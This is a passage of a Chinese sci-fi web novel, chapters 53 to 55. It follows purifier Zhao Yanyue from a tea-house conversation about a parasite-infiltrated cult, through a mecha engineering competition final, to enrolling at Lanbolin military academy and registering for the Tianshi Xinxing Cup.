之前宋幼安说因为善鳄龟来财，所以才会在没有进化链的情况下一直被宋家代代传承到现在。 当时赵宴月被他忽悠得半信半疑，现在看来，估计“秘藏灵兽”的身份没少发挥作用。 这个可恶的家伙。 第53章 第二天清晨已经没有下雨, 只不过地面和空气都还很潮湿。 去疗养院上班之前，赵宴月先坐进了街道上一家人来人往的早茶楼里。 光脑轻轻一震，弹出了一份寄生研究院对昨天隔离事件的回执单。 “死于急性心肌梗死？” 她将吸管插进蟹黄汤包里, 微烫鲜甜的汤汁划过味蕾, 顺手将屏幕共享给了易秋：“怎么不是死于寄生虫族？” 易秋一目十行地扫过回执单上的字，对这个调查结果并不感到意外：“不如说就是因为死于急性心肌梗死, 才能那么容易抓到寄生虫族。” “寄生虫族虽然智力不高也有生存本能，一般在宿主死亡前就会寄生到新的宿主身上，它们没有新鲜的血肉供给甚至活不过三小时。” “……这也太脆了。” 赵宴月印象里F级虫族都能手撕普通人类, 寄生虫族好歹也是虫族，结果只是生存条件竟然就这么严苛。 “不要小看它们, 寄生虫族是联邦最大的隐患。” 易秋闻言连忙强调：“虫族的信息传达十分强大，高等虫族可控制低等虫族的思想，而寄生虫族又有操控被寄生者的能力, 这才是最令人忌惮的。” 赵宴月吸汤的动作一顿, 高等虫族的智商并不比人类低，有寄生虫族作为媒介, 它甚至可以悄无声息地直接混进人类社会。 即便寄生者被发现，体内的寄生虫族死亡, 真正的背后操控者也无非是少了个傀儡。 既然话题都提到这了, 易秋便又说道：“根据联邦目前掌握的信息来看, 纯生教里就混杂着不少被寄生的教徒, 他们研究的精神力里的净化因子, 正巧也是高等虫族非常感兴趣的东西。” 纯生教是个拥有众多信徒的邪教，他们鼓吹的“众生平等”，和“将每个人都变成净化师”的大饼吸引了不少狂热的信众。 对方像阴沟里的老鼠似的隐在暗处又数量众多，实在是防不胜防, 这也是联邦像个护崽的老母鸡似的将净化师们保护在云中宫殿里的原因。 赵宴月现在听到这个教就烦：“真是一群神经病。” “不要侮辱我们神经病，他们纯粹是思想有问题。”隔壁桌吃早餐的年轻男人看热闹不嫌事大地插话。 易秋见状递了一杯清水给赵宴月，连忙安抚道：“联邦迟早把纯生教一锅端了。” 男人咽下嘴里的粥又接话：“要是有这么简单就能一锅端，纯生教也不会存在了这么久，规模还越来越庞大。” 易秋：“……” 怎么会有这么讨人嫌的人。 他这一开口，其他人也加入了这个话题的讨论，禁区里的都不是什么普通人，明显都对邪教有所了解。 “要我说确实有病，要真所有人都是净化师那谁又比谁高贵，他们鸡犬升天的目的根本达不到不是吗。” “他们说的‘所有人’指的是纯生教所有教徒，这也是纯生教拉人信教的手段，只要画的饼够香总有人吃。” “那他们‘众生平等’的教义也太搞笑了，一边搞众生平等一边搞教内特权，这不左右脑互搏吗。” “其实我倒觉得纯生教确实是想让全三垣星系所有人都变成净化师的。” “怎么说？” “你们要是站在虫族的角度思考，主动想把自己变得美味又有营养的食物当然是越多越好，最好全世界都是净化师，那不就众生平等了吗。” “你别说，你还真别说，全世界都是净化师，那出现S级净化师也不是没可能啊。” “那你加入邪教去吧，为他们的众生平等事业添砖加瓦。” “滚滚滚。” 最先接话的男人脱离了其他人关于纯生教的讨论，看向赵宴月带着点自来熟地问道：“诶，你为什么这么讨厌纯生教？” 被询问的人放下擦嘴的纸，慢条斯理地站起来走过他的桌边，声音散漫：“关你什么事。” 左逸被噎得一怔，他看着少女离开的背影，扭头看了眼同伴难以置信道：“……她凭什么这么拽。” 一直保持沉默的青年闻言眼皮都没抬，冷淡地“嗯”了一声。 他端起碗喝了口寡淡的白粥，然后又补充了一句：“还是我女神温柔。” “谁啊？”带着点张扬笑意的男声插了进来，顶着一头红毛的男人毫不客气坐到了两人旁边的空位上，他长腿随意地伸展着，显得和两人很熟稔：“一过来就听到奚和说什么女神不女神的。” 被叫做奚和的男人没有接他这句话，直接抛出了审问似的反问两连：“你怎么还没走？还专门过来找我们一趟？” 祁燃身体十分放松地靠在椅背上道：“今天下午我就走，这不在等审批程序吗？找你们告别不行吗？” “你真要打精神海稳定剂啊？听哥们一句劝，别这么想不开。”左逸用力拍了拍他的肩膀，“苦海无涯回头是岸。” “我想得开得很，你别管了。”祁燃随口回了他一句，然后又看向奚和继续起刚才的话题，明显对他口中的女神十分好奇。 “谁是你女神？上学那会儿你不是又冷又傲的，没想到从你嘴里还能听到‘女神’这种词。” 左逸“噗嗤”一声笑了出来，直接帮他回道：“许清雪殿下呗，自从殿下净化了她S级精神海的哥哥，奚和就天天女神女神的跟着魔了似的，那叫一个虔诚。” 他说到这重新看向奚和，语气阳光开朗，说的话却杀人诛心：“虽然我理解你的心情，但是许清雪殿下大概率救不了你。” “许清雪殿下不行，总有其他殿下行。”祁燃自然而然地接话，声音轻巧得像是在谈论明天会不会下雨。 左逸听到这话直接乐了，他用大拇指往右一指祁燃，又朝左侧扭过头和奚和吐槽：“刚换上狂躁症没多久就是乐观哈，连S级净化师都敢想。” 奚和将沉默寡言贯彻到底，一句话没说，只是垂下眼睫舀了一勺已经凉了的白粥送进嘴里。 见他不搭理人，左逸又去找祁燃寻找新话题：“你来之前，我碰到一个比奚和还高贵冷艳的，她朋友跟在她身边就跟保姆似的。” 这个描述让祁燃的眸光倏然一动，脑子里立马浮现出一个身影，他坐直了点问道：“你说的人是不是看着很有大小姐气质，很白很年轻长得很好看？” 说完这些犹觉不够，祁燃甚至站起来往自己自己身上比划了一下：“大概这么高，反正很没有亲和力。” 左逸几乎不需要怎么回忆就点点头，看着祁燃有些迫切的眼神奇怪道：“怎么，你认识她？” 那可真是巧了，祁燃想到。 “你别管我认不认识她，你没惹她吧？” “……应该没有吧。”左逸被他搞得摸不着头脑，“谁啊，用得着这么小心翼翼的吗。” “你别管，反正要是还有机会碰到她，记得和她打好关系。” “？” 看着祁燃明显不是开玩笑的神色，左逸还是没想明白这里面的逻辑：“我为什么要……” “好了好了。”祁燃打断了他的问话，脸上挂着一贯的笑意半真半假道：“因为她是我女神，我不允许有任何人忤逆她行不行？” 左逸又无语又不明所以：“你也有女神了？你之前不也拽得没边吗？这难道是什么新的潮流？” 奚和不知何时看了过来，目光带着一丝探究。 祁燃迎上他的视线，两人的目光在空中短暂交汇了片刻又移开：“不说了，刚收到了可以离开的通知，我先走了。” “诶诶！”左逸喊住他道：“你还没说你找我们是为了什么事呢，真就告个别啊？” “那你再回想一下呗，反正要说的我都说完了。”祁燃耸耸肩，然后挥了挥手便大步朝外走去。 “真稀奇，他还会专门来告个别。”左逸收回视线看着空了的座位感慨道，结果转头就看见奚和盯着他若有所思：“你说我换个女神怎么样？” “……？” “不是哥们，兄弟的女神更香吗？你刚不还说人家没许清雪殿下温柔吗？” 赵宴月每天去疗养院打卡上班了快二十天，加上偶尔的加班，净化了好几十个幸运患者。 最初大家纷纷奇怪为什么这么多人突然走上了注□□神海稳定剂的不归路，毕竟平时一年到头都没几个人会选择离开禁区。 如今短短半个多月的时间里，几乎每天都有熟悉的面孔中邪似的说要离开，脸上的神色还十分兴奋，实在是诡异得很。 原本平静如死水的禁区突然之间变得格外躁动起来，让人感到些许不安。 一问离开的人为什么会做下这个决定，他们欲言又止又三缄其口。 最后只含糊其辞地说早上多来早茶楼吃饭，因为这个店的蟹黄汤包好吃，可以给幸运度加点。 与此同时，这段时间的星网上也十分热闹，许多战功赫赫但因为精神海污染严重早已销声匿迹的S级机甲尖兵在星网上诈尸，接二连三地重新出现在了公共视野中。 他们表示已经注□□神海稳定剂回归正常生活，粉丝们一边心疼地说不要想不开一边又欢天喜地直呼过年了。 虽然注射稳定剂对狂躁症患者本人来说简直百害而无一利，但这好像莫名其妙成为了一种新的风向。 禁区剩余的人都受到了影响，少部分人也陷入纠结之中，结果真下定决心“随大流”的时候又被领导劝了回去。 说什么他们还没到能注射稳定剂的时候，让他们安心等待稍安勿躁。 这种区别对待更是加深了患者们心中的疑惑，为什么别人可以走？为什么自己还没到时候？ 说好的只要想离开随时都可以走呢？联邦现在是什么意思？ 赵宴月将禁区搅得风云幻变后拍拍屁股走了，给邱院长和管理层留下一地烂摊子。 她的吱吱宝已经前所未有的鼓了起来，于是在机甲工程师竞技赛决赛开启的日子准时飞往了三十三区。 这段时间精神海里一直都是空空荡荡的状态，导致小五这么长的时间只升了一阶，来到了进化态四阶。 还好吱吱宝的余额足够弥补这点小遗憾，除了S级晶源暂时买不到，小五的其他进化材料都被赵宴月砸钱买了回来。 飞船降落在三十三区航空港时，外面还是那副热闹非凡的景象，机甲工程师竞技赛的标语依旧在大大小小的广告中占据了最好的视野和最大的位置。 只不过标语的内容从“激情开赛”变成了“总决赛进行中”。 人声熙攘的街道和禁区的模样截然不同，再回到这里时甚至有种重回人间的稀奇感受。 赵宴月在中心竞技馆下了车，轻车熟路地摸进了封嘉荣的工作间。 房间里的全息屏幕正直播着比赛现场的画面，观众们的赛前加油环节如今变得格外的有组织有纪律，将氛围炒得火热。 “事情都处理完了？”封嘉荣瞥了眼瘫在沙发上看比赛，好像已经把他的工作间当成家了的人，然后又耷拉着眼皮在图纸上勾勒着线条：“怎么不去你的SVIP座位上看？” “处理完了。”赵宴月盯着屏幕里气氛紧张的总决赛现场，目光锁定在贺如故驾驶的机甲上头也不回道：“您还是架构了细分脉络吗？贺如故操作都变形了。” “他能驾驭细分脉络，只不过这么短的训练时间肯定不够，冠军和他无缘。” 封嘉荣的声音像是闲聊一样，轻描淡写的听不出一丝遗憾，好像对贺如故能不能夺冠这件事完全不在意似的。 说是和贺如故无缘，不如说是和他自己无缘，毕竟这个比赛虽然是贺如故在比，但它的名字叫机甲工程师竞技赛。 赵宴月叹了口气：“那真是可惜了我押的星币。” 说着可惜，但两人的语气都没有可惜的意味。 押给贺如故的朋友费赵宴月早就从贺老爷子身上赚回来了，更别说她之后又从禁区赚了不少，缺什么都不缺钱。 封嘉荣不觉得可惜，大概是因为他是个一根筋的人，并不会为了夺冠改变自己的坚持，说到底不过名声而已。 画面里的白色机甲此时身上的纹路已经格外繁复细致，引力丝的数量比它对手身上的多得多，像是花枝般缠绕在身上，闪着冰冷的蓝光。 赵宴月之前看初赛的时候，贺如故走起路来还像一只摇摆的企鹅，打架只会靠推搡，现在已经有了明显的进步。 她能从机甲的一举一动中看出明确的战术意图，一招一式间也有了机甲尖兵的雏形，就好像驯服了新身体，让思维和动作达到了统一。 “解说了这么多年比赛，我第一次从一个选手身上看到灵活和僵硬共存，很矛盾的观感，有点像穿着不合脚舞鞋的芭蕾舞者。” “很形象的比喻，优雅中带着笨拙，能看出贺如故选手机甲的灵活性明显更高，但不好用啊这机甲，选手的总体操作比较勉强。” “相比之下他的对手就稳得多，工程师架构的次分脉络和契约者的操作习惯很适配，架构水平非常高超。” “是这样没错，但现在双方有点僵持不下，这么看来我倒觉得贺如故潜力更大。” 赵宴月正听着解说，然后又听封嘉荣像个局外人似的说道：“输了止步六强，赢了保底季军。” 竞技赛的冠亚季军按照最后三场总决赛的耗时排名，打败对手用时最短的选手直接夺冠。 眼下这一场比赛现在还没分出胜负，但用时早已远超上一场，就算打赢了也只能争夺季亚军的位置。 竞技永远是残酷的，不是冠军就等于失败。 人们只会记住冠军的名字，其他人不管是第二名还是最后一名，归根究底全都是陪跑选手。 听到封嘉荣这么说，虽然他看起来并没有惋惜和遗憾，但赵宴月已经下意识立马画起了饼：“没事，贺如故不行这不还有我吗。” “你？”封嘉荣喝酒的动作一顿，瓶口的液体重新滑落回瓶底。 “怎么？你要参加后面的秋季赛？”他转过头，灰色的眼睛闪过一丝诧异，随后又亮了起来：“也不是不行，我倒是很愿意帮你架构机甲引力丝，如果是你参赛的话……” 眼看着他眸中的神采越来越亮，赵宴月直接摆了摆手：“不不不。” “机甲工程师竞技赛还是太小众了，有参加秋季赛的功夫……您觉得天市新星杯怎么样？” 封嘉荣自然知道天市新星杯，只不过听到这话，他反倒变得萎靡了下来。 这个比赛的知名度远超机甲工程师竞技赛，是天市星独有的专门为联邦军校联赛选拔天市星参赛选手的赛事。 联邦军校联赛只有三支代表队参赛，紫微星参赛军校是法温莎军校，太微星的参赛军校是西廷尔军校，这两所参赛军校都没有争议。 但是天市星两大军校分流了生源，在赛事主办方的默认下，天市星代表队的参赛选手可以由两所军校共同选拔，这就是天市新星杯的由来。 毕竟联邦军校联赛的核心意义在于彰显联邦新一代机甲尖兵的水平，让三垣星系上百亿居民看到新一代有抵抗虫族守护家园的实力，不管是哪方的代表队，参赛成员自然是越强越好。 由于联邦军校联赛四年才开一届，不少网友也把选拔联邦军校联赛参赛选手的天市新星杯叫做小联赛。 比起受众更有针对性的竞技赛，不管是联邦军校联赛还是新星杯的观赛门槛都低得多，堪称老少皆宜的全民盛事。 封嘉荣并没有被赵宴月的大饼冲昏头脑，无精打采道：“天市新星杯虽然理论上四个年级的学生都可以报名，但实际上只有大三大四的学生能杀出重围，你现在连机甲都没有，连报名条件都不符合，拿什么参赛？只有机甲工程师竞技赛的参赛选手都是从没开过机甲的新人，你们同一起跑线……” 难得听到他说这么长的话，只不过赵宴月没给他说完的机会，直接回道：“报名时间截止之前符合条件就行。” “……那祝你成功。”封嘉荣的语气礼貌又不失绝望。 能报名参赛和拿到联邦军校联赛参赛资格的难度一个天上一个地下。 就算天市星几乎年年都在联邦军校联赛当老三，但想成为天市星代表队绝对不是一件容易的事。 “你要参加天市新星杯？”工作间的门被啪的关上，贺如故衣服上还带着机舱内的余温，一脸好奇地凑到沙发旁坐下。 赵宴月翘着二郎腿道：“亚军回来了，恭喜。” “你是在真心恭喜我吗？”贺如故睁着一双漂亮的桃花眼，语气期期艾艾地开口：“不会是在怪我让你亏了星币吧。” “我当然是真心的。”赵宴月唇边勾起一道愉悦的弧度，终于能说出那句话：“钱对我来说就是个数字。” 这句话说出口真是让人身心舒畅。 贺如故眨了眨眼，觉得赵宴月不愧是他当时一眼看过去就觉得最富贵的女人，果然有实力。 他顿时没忍住，也死装道：“唉，我都没想到还能拿到名次，季军只比我慢了四秒，都是运气好。” “谁问你了？” “我自己想发表一下赛后感言不行吗。” 封嘉荣懒得理这两个沉浸在自己的世界里自我陶醉的人，被工作人员提醒着去领奖了。 等他一走，贺如故回过头十分手欠地扯了扯赵宴月的头发，在她看过来后问道：“你真的不想当我的骑士吗？和我一起回云中宫殿怎么样？” 赵宴月拍掉他的手：“婉拒了哈。” 被她拒绝，贺如故真心实意地忧愁了。 他叹了口气，声音也低了下来：“那好吧，比赛结束我也得赶快回家了，陪我爷爷最后一段时间。” “说不定你爷爷早就已经想通了。” “希望吧。”贺如故没有反驳她的好意，又突然想起老爷子已经好长时间没联系他，就好像把他这个人忘了似的。 ……不会已经下线了吧。 随着这个念头一起，贺如故脑子里忽然浮现出“为不影响孩子考试，家人隐瞒父亲死讯三个月”的社会新闻，顿时脸色大变。 在赵宴月疑惑的目光中，贺如故打起精神急匆匆道：“我星网上粉丝还挺多的，到时候让他们都押你，绝对不让你的赔率丢人，我先打飞的回去了，帮我和封嘉荣说一声！” “……？” 看着贺如故风风火火离开的背影，赵宴月重新将注意力转回颁奖典礼上。 聚光灯打在冠军的身上，工程师享受着属于他的高光时刻。 封嘉荣拿着奖杯的身影隐没在台下的阴影中，并没有多少人注意。 赵宴月的目光越过热闹的颁奖现场，望向天市星的方向，想着自己也该回去了。 兼职的时光已经结束，是时候回去当平平无奇大学生了。 第54章 天市星, 玻娅区。 晨光透过稀薄的云层，在兰柏林军校上空洒下一片淡金色的光晕。 悬浮的全息投影校徽缓缓旋转，一对向上展翅的金属羽翼上每根羽翎都熠熠生辉, 折射出的太阳光都冷冽了几分。 校门前人潮涌动, 一台台飞行器和悬浮车碍于“仅允许五分钟以内停留”的标识牌刚放下乘客便又立马升空或驶离。 没有鸣笛没有滞留，跑的跑飞的飞, 各走各的道，看着十分训练有素。 大城市就是不一样，要是换绿野城的司机, 在这种人流量下早就天上地下都堵车了。 “请新生按照指引前往登记处报道。” 对面斯伦军校冷冰冰的机械广播声传了过来，带着些许不近人情的指令意味。 声浪传播到马路中心的车道分界线时仿佛撞上一堵无形的墙壁, 似乎是被某种装置屏蔽了似的忽然消音。 就好像以马路中心的双黄线为界，兰柏林和斯伦的地盘泾渭分明。 不少新生过斑马线时来回跨越那道分界线，惊奇地感受着两边截然不同的世界, 又被巡逻警卫员制止, 提醒着不要在马路上逗留。 刚下飞行器，赵宴月便挥挥手让易秋和侍卫官回去。 “小姐, 真的不用我陪你上学吗？”易秋站在飞行器旁眼巴巴地询问。 赵宴月眉毛一挑，双手抱胸有些不耐：“哪有上学还要人陪的。” 易秋还想再说些什么, 但也知道多说无用, 只好妥协道：“那我每天来接你上下学。” “不用, 我住校。”赵宴月说到这下巴一扬, 示意她看马路边不让长时间停留的标识牌：“快走吧, 遵守交通规则。” 易秋像是没听懂她赶人的意思，她指了指飞行器上黑底白字的“Ti-Z00001”车牌：“没关系，停一天也不会有人来管的。” 负责指挥交通和维护秩序的交警和巡逻队确实没人过来要求驶离，但是不少注意到车牌的学生都暗戳戳投来了探究的目光。 “住校的条件肯定比不上家里, 真的要住校吗？” 她的眼神期待又可怜，可惜赵宴月已经对她这一套免疫了：“易秋，不要说些会让我生气的话。” 易秋一看她这副模样，便知道继续劝说下去事情就不好收场了。 毕竟赵宴月的性格相当好了解，说要生气了那就是不要再违抗她的意思。 她从来不吝于将真实的情绪展示给所有人，这样其他人就能更好的知道自己该怎么和她相处，怎么让她舒心。 见赵宴月心冷似铁，易秋肩膀微微垮下，像个被抛弃的老母亲一样静悄悄地碎掉了：“有需要随时找我，我会24小时随时待命。” 话刚说完，另一边便响起了一阵喧哗声，只见一辆通体流线型的限量版量悬浮跑车缓缓降落在路边，十分吸引眼球。 人高马大的保镖打开车门，下车的女生长相甜美漂亮，穿着像个层层叠叠的小蛋糕似的，和周围统一短T恤短裤的同学们格格不入。 她环顾四周，在众人纷纷看过来的视线中微微抬起下巴，十分享受众人的目光。 赵宴月朝侍卫官挥了挥手，示意他和易秋赶紧走，自己则溜溜达达地火速赶往现场凑热闹。 一混进人群中，耳边果不其然响起了关于焦点人物的讨论声。 “这是谁啊。” “没记错的话，她叫庄思恬，大一新生，机甲尖兵系的，A级精神海。” “你认识她吗同学？知道得这么清楚。” “你从来不逛兰柏林论坛吗？我以为这件事已经被她宣扬得全世界都知道了，不需要认识她也能背下来。” “吃瓜吃岔了吧，她出名不是因为A级精神海，是因为她亲姐姐是庄思雅殿下，五年前检测出净化天赋，是B级净化师。” “我还以为是因为精神海等级高……” “同学你搞搞清楚，这里是兰柏林不是咱们村，光是这一届新生就有31个S级，全校加起来更是有一百多个，A级还造不成这种轰动。” “好强的基因，一个A级机甲尖兵，一个B级净化师，她爸妈怎么不多生几个。” “听小道消息说，她家以前生活在玻娅区贫民窟，哪养得起那么多。” “真的假的，看着跟个骄傲的孔雀似的，根本不像啊。” “都说了是小道消息，我怎么知道真的假的。” “兰柏林这一届新生真是卧龙藏虎，我刚还看见了Ti-Z00001的车牌，里面不会坐的是咱们星的首席执政官吧？” “执政官的车牌是Ti-T00001，这种专机不会私用的，不过反正01系列车牌都很吓人就是了。” “嗯……是对面斯伦的新生也说不定。” 听来听去也没听出个什么八卦来，赵宴月收回视线，混在人群中往校内走。 刚踏进兰柏林的校门口，耳边突然传来一阵清脆的问话声：“这位新生，请问需要向导吗？” 赵宴月回过头看了看，没找到和她说话的人。 一只水蓝色的不明生物慢悠悠地漂浮了过来，身上还带着一个类似小蜜蜂扩音器的装置：“哈喽？” ……和刚才的声音对上了。 “别这么大惊小怪，我是校长的契约灵兽布灵灵，你可以叫我布老师。” 听它说完赵宴月这才发现，校门内几乎每个新生身边都漂浮着一只布灵灵，像水母般游弋在人群中。 她伸手戳了戳布灵灵半透明的身体，优雅地大惊失色道：“布老师，校长是把你们整个种族都契约了吗？” “不是喔。”布灵灵被她戳得身上泛起一阵涟漪般的波纹，它在空中转了个圈展示了一下自己，顺便从体内投射出一张全息地图。 “真正的布灵灵在校长办公室，我们都是复制体，可以执行一些简单任务。” 天上的阴影让布灵灵水蓝色半透明的身体忽明忽暗，赵宴月疑惑地抬起头，看见天上时不时就有机甲接二连三的出现。 他们朝着同一个方向驶去，往地上投下一道道快速闪过的黑影潇洒离开。 赵宴月稍稍眯起眼睛看着天上的机甲：“布老师，兰柏林没有高空飞行物管理条例吗？” “兰柏林对学校上方空域有自主管辖权。” 布灵灵一边带着她往新生报道处走，一边继续介绍道：“对外全域禁飞，对内不做约束，不过驾驶机甲发生交通事故后果自负。” 那很坏了。 毕竟她现在还没有机甲，暂时上不了天。 天上的机甲纷纷降落在圆顶报道大厅面前的空地上，三米多高的钢铁身躯化作流光消散。 高年级学生们在新生羡慕又向往的目光中从驾驶舱一跃而下稳稳落地，他们大步流星地穿过人群，胸口上的年级徽章闪闪发亮。 报道大厅里人声鼎沸，赵宴月一进门就知道了为什么高年级学生都来这了。 大厅内被分作了两部分，一半被用作新生报道，一半被联邦军校联赛赛委会的工作人员占据，用作新星杯的报名通道。 赵宴月走完简洁的新生报道手续，布灵灵正要带她往宿舍走，结果赵宴月脚步一转拐去了另一边，混进了高年级学生群里。 布灵灵有些疑惑地歪了歪头，也慢悠悠地飘着跟了过去。 察觉到面前有人坐下，报名负责人头也不抬地指了指感应装置：“这边刷光脑，我看一下个人信息。” 学生的个人信息出现在清晰的虚拟屏幕上，他扫过一眼道：“S级精神海……” “大一新生？”负责人推了推眼镜，抬起头看了过来：“11阶C级契约者，不符合新星杯参赛条件。” 这句话一说，赵宴月瞬间成为了视线焦点，周围排队的高年级学生都看了过来。 “大一有这个水平不错了，不过我大一开学前灵兽就进化到终极态了。” “看把你能的，学妹是S级精神海，灵兽进化到终极态要14阶，哪像你10阶就是极限。” “今年大一有不少S级精神海的同学都成功报名了，学妹你灵兽升阶怎么这么慢？” 赵宴月感觉自己旁边有几百只鸭子在叫：“停——” 她指着墙上的全息屏幕念道：“‘报名条件——兰柏林或斯伦大一至大四在读学生’，我怎么不符合报名条件了。” 不等负责老师说话，一只修长的手越过赵宴月的肩膀，指了指报名条件下面的参赛条件，学姐字正腔圆的冷淡声音从耳边传来。 “‘参赛条件：1、在星历9月1日——9月7日内成功报名天市新星杯 2、契约灵兽已进化至终极态 3、有驾驶和操纵机甲的能力和经验’ 学妹，你好像一条参赛条件都不符合。” 赵宴月转过身看向站在她身后的学姐，对上她琥珀色的眼睛理直气壮道：“不对，我符合第一条。” 不等对方回应，赵宴月又扭头看向负责人道：“我是兰柏林在读学生没错吧，能不能参赛另说，怎么不能先报名了？” 负责人取下眼镜，揉了揉太阳穴：“就算你的灵兽在开赛前进化到终极态，这么短的时间你连机甲都开不稳。” 他说到这顿了顿，直接下了定论：“没有报名的必要。” “你怎么知道我开不稳？” “我怎么不能参赛了？” 隔壁报名的男生一拍桌子，看向他面前的报名负责人大声道，几乎和赵宴月的声音同时响起。 赵宴月：“？” 怎么有人抢她的话。 她和身旁的学哥学姐们齐刷刷扭头看了过去，只见一个白嫩的小胖子脸红脖子粗地争论：“你说我哪里不符合参赛条件？” “你没有机甲战宠。” “你也没说一定要是机甲战宠啊，我的契约灵兽早就进化到终极态了。” 负责人的声音比小胖子还大：“没有机甲战宠你哪来的驾驶和操控机甲的能力？” “你给我等着！” 小胖子放完狠话就走了，赵宴月正想继续和负责人激情对线，结果身后的人群突然喧嚣了起来，还伴随着阵阵惊呼。 一个配色由五彩斑斓的黑和五光十色的白组合而成的炫酷机甲直接走进了报道大厅。 三米多高的机甲在人群中相当有压迫感，周围的人纷纷给他让出一条道路。 机甲大摇大摆地走到了赵宴月隔壁，机舱门发出“嗤”的一声开启，小胖子灵巧地跳了下来。 他双手一拍桌子身体前倾，看向负责人问道：“你就说我会不会开吧。” 赵宴月：“……？” 学哥学姐：“……？” 各个窗口报名负责人：“……？” 小胖子退后一步围绕着机甲转了一圈，像个销售似的骄傲介绍。 “生物机甲同款金属材料，188星币/g，重金打造，除了没地方收以外和生物机甲没有区别！” “虽然我契约的不是机甲战宠，但是我哪里不符合参赛条件了？” 他说完看向负责人：“你说说，我哪一点不符合？” 赵宴月回过神呱唧呱唧鼓掌，煽风点火道：“说得好！我同意他参赛！” 学哥学姐们见状也跟着呱唧呱唧鼓掌：“既然学妹同意，那我也同意。” 负责人：“……” 为什么要把他分到兰柏林，还是斯伦的学生比较有组织有纪律。 就在负责人沉默的功夫，一只布灵灵从赵宴月身后飘了过来。 老沉的声音透过布灵灵身上小巧的扩音器响起：“我也认为他符合参赛条件。” 布灵灵说完又慢悠悠飘到了赵宴月身边，看向这边的负责人道：“新星杯十月份才开赛，只要在开赛前符合参赛条件自然就能参赛，至于有没有实力拿到参加联邦军校联赛的资格，那也是学生自己的事。” 负责人闻言看向了布灵灵一眼：“既然谢校长发话了，那我们这边自然也没问题。” 第55章 赵宴月报完名后便凑到了小胖子的身边, 十分自然而然地问道：“同学，你的这幅机甲花了多少星币？” 小胖子看了赵宴月一眼，兴致高昂地和她探讨了起来：“我的机甲是轻型机甲, 重量接近半吨, 只算材料费用的话也就一个亿左右。” “那确实不贵。”赵宴月点头认可，说起一个亿时语气十分轻松。 区区一个小目标, 净化个100次就有了。 黑白配色的机甲机身线条流畅，关节处衔接紧密，看着和生物机甲没什么差别。 赵宴月收回视线问道：“是找专门生产机甲智能模型机的公司定制的吗？” “你竟然知道模型机, 除了机甲工程师外很少有人知道这个。” 江茂茂说到这轻咳一声，昂首挺胸道：“全三垣星系最大的模型机公司微光集团你知道不, 就是我家开的……你家是干什么的？” 赵宴月还真不知道微光集团，但是看他这模样，他家的微光集团应该属于妇孺皆知的级别。 “原来是微光集团。” 少女恍然大悟, 然后话题一转：“明珠区绿野城灵兽商业街201号幼火犬灵兽店知道不, 就是我家开的。” 看着比他还骄傲的赵宴月，江茂茂脑子转了好几圈, 怀疑这个幼火犬灵兽店可能很厉害。 ……比如分店遍布全星系？又或者是什么隐藏的行业巨头？ 这个时候表现出迷茫会不会显得他很呆？ 于是江茂茂也恍然大悟道：“原来是幼火犬灵兽店的少东家，真是久仰大名。” 赵宴月：“……？” 在她不知道的时候, 爷爷奶奶已经把幼火犬灵兽店开到人尽皆知了吗。 两人商业互吹了片刻还加上了联系方式, 一扭头纷纷猛戳光脑搜索起来。 赵宴月确实被微光集团的光辉履历科普了一脸, 市值估价后面跟着的一串零数都数不清。 而江茂茂看着搜都搜不出来的关键词, 终于怀疑起这家幼火犬灵兽店可能就是一家查无此人的灵兽店。 不应该啊, 她看着好像比他还有钱。 将微光集团的介绍翻到底的时候刚好到学生宿舍，赵宴月找到303，推开房门打量了一眼。 虽说要住校，但她其实读了这么多年书从来没住过校, 最主要的是军校不像普通综合性大学，虽然不至于完全封闭化管理但也并不允许学生走读。 赵宴月倒不觉得住校有什么问题，可惜不管是易秋还是天市星执政官等人，听到这个消息简直天都塌了。 毕竟净化师在大众的刻板印象里就是温室里的娇花，好像个个都得了成骨不全症似的一碰就骨折，没人伺候就会生活不能自理。 兰柏林的宿舍是双人宿舍，有两个单人卧室和一个公共的客厅，不大不小干净整洁。 客厅里米色的窗帘半拉着，阳光在地板上投下斑驳的光影，智能温控系统发出轻微的运转声，让房间内的温度很是凉爽。 一个眼熟的小蛋糕正蹲在客厅收拾行李，虽然穿的裙子精致又繁复，但是丝毫没有影响她利落的动作，整理东西的速度快得惊人。 听到门口有动静，庄思恬扭过头看去，两条又白又直的大长腿顿时闯入眼帘。 视线往上移，来人穿着白T恤和牛仔短裤，一双狐狸眼垂下来看向她，然后弯成一条眼尾上翘的弧线：“你好，我是赵宴月。” 庄思恬“蹭”地一下站起来，让自己的目光和她平行，这才哼了一声道：“我是庄思恬，A级契约者。” 赵宴月点了点头便往空的那间卧室里走去，身后的智能行李箱滑动着轮子跟在身后，灵活地绕过了地上的杂物。 小蛋糕懵了片刻，跟上去皱眉道：“喂！你没礼貌。” “我哪没礼貌了。” “你为什么不说自己是什么等级的契约者？我都告诉你了。” “C级。” “C级？机甲尖兵系除了江茂茂外还有C级？” 庄思恬音量陡然拔高，不难看出十分震惊，还夹杂着点小嫌弃。 “第一、我不叫喂。” 赵宴月说到这笑了一声，可惜庄思恬并没有get到笑点。 她忧伤了一会儿才继续道：“第二、我不是机甲尖兵系的，第三、我只是现在C级，第四……” 赵宴月说到这转过身，看向了亦步亦趋跟进卧室的庄思恬：“不经过允许就进我卧室，你才没礼貌。” 庄思恬“切”了一声退到门口，又像是突然想到了什么似的探究地看了过来：“你不会就是那个报名新星杯的C级契约者吧？” “……？” 她才刚报完名，怎么全世界都知道了。 赵宴月看似慢条斯理实则乱七八糟地收拾着行李：“这你又是从哪知道的？” “兰柏林的校园论坛啊。”庄思恬一边说一边搬了个椅子坐到她门口——确实没越过门口的线，但是看着怪冒昧的。 “你干嘛要报名新星杯，你都不是机甲尖兵系的。” 赵宴月正艰难地和床单被套做着斗争，闻言头也不回道：“新星杯说了只能机甲尖兵系报名吗？” 庄思恬似乎把她这句话当成了一个单纯的询问，撑着脸忧愁地看她将被子和床单的长宽完全铺反。 “机甲工程师也能报啊，真烦人，我都不知道去哪找一个既会开机甲又会修机甲的队友，生物机甲工程专业本来就人少。” 赵宴月将完全没套明白的被子往床上一扔。 这被子铺得她鬼火直冒，她先去给自己灌了半瓶水冷静，然后才思索起庄思恬的这句话。 修机甲？ 一边要探寻灵兽进化链，一边要构建机甲引力丝，一边还要会修机甲…… 生物机甲工程专业还是太全面了。 “等等。”刚想到这，赵宴月喝水的动作一顿：“生物机甲什么时候还要修了？机甲有战损灵兽自己不就在精神海里修复好了？” 庄思恬露出了一个匪夷所思的表情：“我说的修机甲当然指的是给机甲加装武器啊，抢夺物资加强机甲是新星杯的重中之重。” 她将赵宴月上上下下打量了一圈，啧啧称奇道：“都什么年代了，你不会以为机甲战斗还像几百年前一样都是赤手空拳的吧？” 